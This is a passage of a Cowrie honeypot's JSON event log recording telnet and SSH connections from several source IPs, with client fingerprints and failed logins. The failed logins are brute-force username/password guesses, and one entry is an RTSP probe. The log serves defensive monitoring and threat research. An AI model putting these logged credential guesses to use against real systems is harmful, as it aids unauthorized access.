{"eventid":"cowrie.session.closed","duration":1.6700396537780762,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:53.641227Z","src_ip":"35.233.92.202","session":"6b5c04b5bb88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.8291056156158447,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:53.643963Z","src_ip":"35.233.92.202","session":"73f9958db7f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.92.202","src_port":59394,"dst_ip":"159.203.135.109","dst_port":23,"session":"5259d9c7b0e1","protocol":"telnet","message":"New connection: 35.233.92.202:59394 (159.203.135.109:23) [session: 5259d9c7b0e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:53.804505Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.92.202","src_port":59404,"dst_ip":"159.203.135.109","dst_port":23,"session":"c820527183b2","protocol":"telnet","message":"New connection: 35.233.92.202:59404 (159.203.135.109:23) [session: c820527183b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:53.961086Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.92.202","src_port":59412,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ae0f6fcd13d","protocol":"telnet","message":"New connection: 35.233.92.202:59412 (159.203.135.109:23) [session: 3ae0f6fcd13d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:54.117072Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.92.202","src_port":59426,"dst_ip":"159.203.135.109","dst_port":23,"session":"59af55eb9181","protocol":"telnet","message":"New connection: 35.233.92.202:59426 (159.203.135.109:23) [session: 59af55eb9181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:54.273551Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.92.202","src_port":59442,"dst_ip":"159.203.135.109","dst_port":23,"session":"55333b6b648f","protocol":"telnet","message":"New connection: 35.233.92.202:59442 (159.203.135.109:23) [session: 55333b6b648f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:54.428932Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.92.202","src_port":59458,"dst_ip":"159.203.135.109","dst_port":23,"session":"f064d5214d37","protocol":"telnet","message":"New connection: 35.233.92.202:59458 (159.203.135.109:23) [session: f064d5214d37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:54.583333Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.92.202","src_port":59474,"dst_ip":"159.203.135.109","dst_port":23,"session":"883d47b3c5b6","protocol":"telnet","message":"New connection: 35.233.92.202:59474 (159.203.135.109:23) [session: 883d47b3c5b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:54.738080Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.92.202","src_port":59484,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce5ee86718ed","protocol":"telnet","message":"New connection: 35.233.92.202:59484 (159.203.135.109:23) [session: ce5ee86718ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:54.895058Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:54.900759Z","src_ip":"35.233.92.202","session":"ce5ee86718ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.92.202","src_port":59494,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c97f08a979f","protocol":"telnet","message":"New connection: 35.233.92.202:59494 (159.203.135.109:23) [session: 3c97f08a979f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:55.054611Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.92.202","src_port":59502,"dst_ip":"159.203.135.109","dst_port":23,"session":"469561bf1e4e","protocol":"telnet","message":"New connection: 35.233.92.202:59502 (159.203.135.109:23) [session: 469561bf1e4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:55.213679Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.92.202","src_port":59518,"dst_ip":"159.203.135.109","dst_port":23,"session":"29b13b77a9b8","protocol":"telnet","message":"New connection: 35.233.92.202:59518 (159.203.135.109:23) [session: 29b13b77a9b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:55.369616Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.92.202","src_port":59532,"dst_ip":"159.203.135.109","dst_port":23,"session":"75792c6f4f51","protocol":"telnet","message":"New connection: 35.233.92.202:59532 (159.203.135.109:23) [session: 75792c6f4f51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:55.525647Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.92.202","src_port":59540,"dst_ip":"159.203.135.109","dst_port":23,"session":"3368f9f0c629","protocol":"telnet","message":"New connection: 35.233.92.202:59540 (159.203.135.109:23) [session: 3368f9f0c629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:55.680342Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.92.202","src_port":59548,"dst_ip":"159.203.135.109","dst_port":23,"session":"6998b2b51687","protocol":"telnet","message":"New connection: 35.233.92.202:59548 (159.203.135.109:23) [session: 6998b2b51687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:55.836833Z"}
{"eventid":"cowrie.session.closed","duration":0.005162715911865234,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:55.841782Z","src_ip":"35.233.92.202","session":"6998b2b51687","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.92.202","src_port":59552,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4b5c095f67b","protocol":"telnet","message":"New connection: 35.233.92.202:59552 (159.203.135.109:23) [session: b4b5c095f67b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:55.992282Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.92.202","src_port":59566,"dst_ip":"159.203.135.109","dst_port":23,"session":"e171181e88be","protocol":"telnet","message":"New connection: 35.233.92.202:59566 (159.203.135.109:23) [session: e171181e88be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:56.146510Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 9597","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 9597] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:56.151171Z","src_ip":"35.233.92.202","session":"e171181e88be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.363364934921265,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:49:12.324344Z","src_ip":"35.233.92.202","session":"c820527183b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.525357007980347,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:49:12.329741Z","src_ip":"35.233.92.202","session":"5259d9c7b0e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.700403213500977,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:49:12.333474Z","src_ip":"35.233.92.202","session":"35d0d9af1db7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.277217626571655,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:49:12.423636Z","src_ip":"35.233.92.202","session":"e171181e88be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.437845468521118,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:49:12.429980Z","src_ip":"35.233.92.202","session":"b4b5c095f67b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.75387716293335,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:49:12.434078Z","src_ip":"35.233.92.202","session":"3368f9f0c629","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.912676334381104,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:49:12.438192Z","src_ip":"35.233.92.202","session":"75792c6f4f51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.072515726089478,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:49:12.441975Z","src_ip":"35.233.92.202","session":"29b13b77a9b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.232038497924805,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:49:12.445622Z","src_ip":"35.233.92.202","session":"469561bf1e4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.396994590759277,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:49:12.451479Z","src_ip":"35.233.92.202","session":"3c97f08a979f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.72272777557373,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:49:12.460675Z","src_ip":"35.233.92.202","session":"883d47b3c5b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.56932282447815,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:49:12.464266Z","src_ip":"35.233.92.202","session":"ce5ee86718ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.884181261062622,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:49:12.467390Z","src_ip":"35.233.92.202","session":"f064d5214d37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.04196834564209,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:49:12.470601Z","src_ip":"35.233.92.202","session":"55333b6b648f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.200668811798096,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:49:12.474094Z","src_ip":"35.233.92.202","session":"59af55eb9181","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.36073398590088,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:49:12.477652Z","src_ip":"35.233.92.202","session":"3ae0f6fcd13d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.146.242.58","src_port":54856,"dst_ip":"10.17.0.5","dst_port":23,"session":"51342b9be03a","protocol":"telnet","message":"New connection: 201.146.242.58:54856 (10.17.0.5:23) [session: 51342b9be03a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:49:19.217516Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":22948,"dst_ip":"10.17.0.5","dst_port":23,"session":"05b71b9bd51e","protocol":"telnet","message":"New connection: 212.55.149.117:22948 (10.17.0.5:23) [session: 05b71b9bd51e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:49:20.915350Z"}
{"eventid":"cowrie.session.closed","duration":14.029821395874023,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:49:33.247222Z","src_ip":"201.146.242.58","session":"51342b9be03a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":33440,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f5a8f348b33","protocol":"ssh","message":"New connection: 193.32.162.145:33440 (10.17.0.5:22) [session: 2f5a8f348b33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:50:01.309028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:50:01.314597Z","src_ip":"193.32.162.145","session":"2f5a8f348b33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:50:01.421596Z","src_ip":"193.32.162.145","session":"2f5a8f348b33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123sol","message":"login attempt [ubuntu/123sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:50:01.783264Z","src_ip":"193.32.162.145","session":"2f5a8f348b33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:50:02.888015Z","src_ip":"193.32.162.145","session":"2f5a8f348b33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.822970151901245,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:50:24.738180Z","src_ip":"212.55.149.117","session":"05b71b9bd51e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":34458,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e433e1ce020","protocol":"ssh","message":"New connection: 2.57.121.25:34458 (159.203.135.109:22) [session: 3e433e1ce020]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:50:53.596118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:50:53.605519Z","src_ip":"2.57.121.25","session":"3e433e1ce020","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:50:53.705752Z","src_ip":"2.57.121.25","session":"3e433e1ce020","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"18071992","message":"login attempt [user/18071992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:50:54.178940Z","src_ip":"2.57.121.25","session":"3e433e1ce020","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"18041978","message":"login attempt [user/18041978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:50:55.284228Z","src_ip":"2.57.121.25","session":"3e433e1ce020","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"18031984","message":"login attempt [user/18031984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:50:56.387717Z","src_ip":"2.57.121.25","session":"3e433e1ce020","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":48244,"dst_ip":"10.17.0.5","dst_port":22,"session":"f55688207c13","protocol":"ssh","message":"New connection: 103.15.226.202:48244 (10.17.0.5:22) [session: f55688207c13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:50:57.145369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:50:57.150274Z","src_ip":"103.15.226.202","session":"f55688207c13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:50:57.404205Z","src_ip":"103.15.226.202","session":"f55688207c13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"18031978","message":"login attempt [user/18031978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:50:57.490226Z","src_ip":"2.57.121.25","session":"3e433e1ce020","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"roxroot","password":"fh5CbB112Gn8CNaWY1xva2qx3vVjjLN","message":"login attempt [roxroot/fh5CbB112Gn8CNaWY1xva2qx3vVjjLN] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:50:58.172131Z","src_ip":"103.15.226.202","session":"f55688207c13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"17931793","message":"login attempt [user/17931793] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:50:58.592620Z","src_ip":"2.57.121.25","session":"3e433e1ce020","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:50:59.429882Z","src_ip":"103.15.226.202","session":"f55688207c13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:50:59.698371Z","src_ip":"2.57.121.25","session":"3e433e1ce020","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":31854,"dst_ip":"10.17.0.5","dst_port":22,"session":"f600d73aefe6","protocol":"ssh","message":"New connection: 87.251.64.176:31854 (10.17.0.5:22) [session: f600d73aefe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:51:16.033388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:51:16.040914Z","src_ip":"87.251.64.176","session":"f600d73aefe6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:51:16.140384Z","src_ip":"87.251.64.176","session":"f600d73aefe6","protocol":"ssh"}
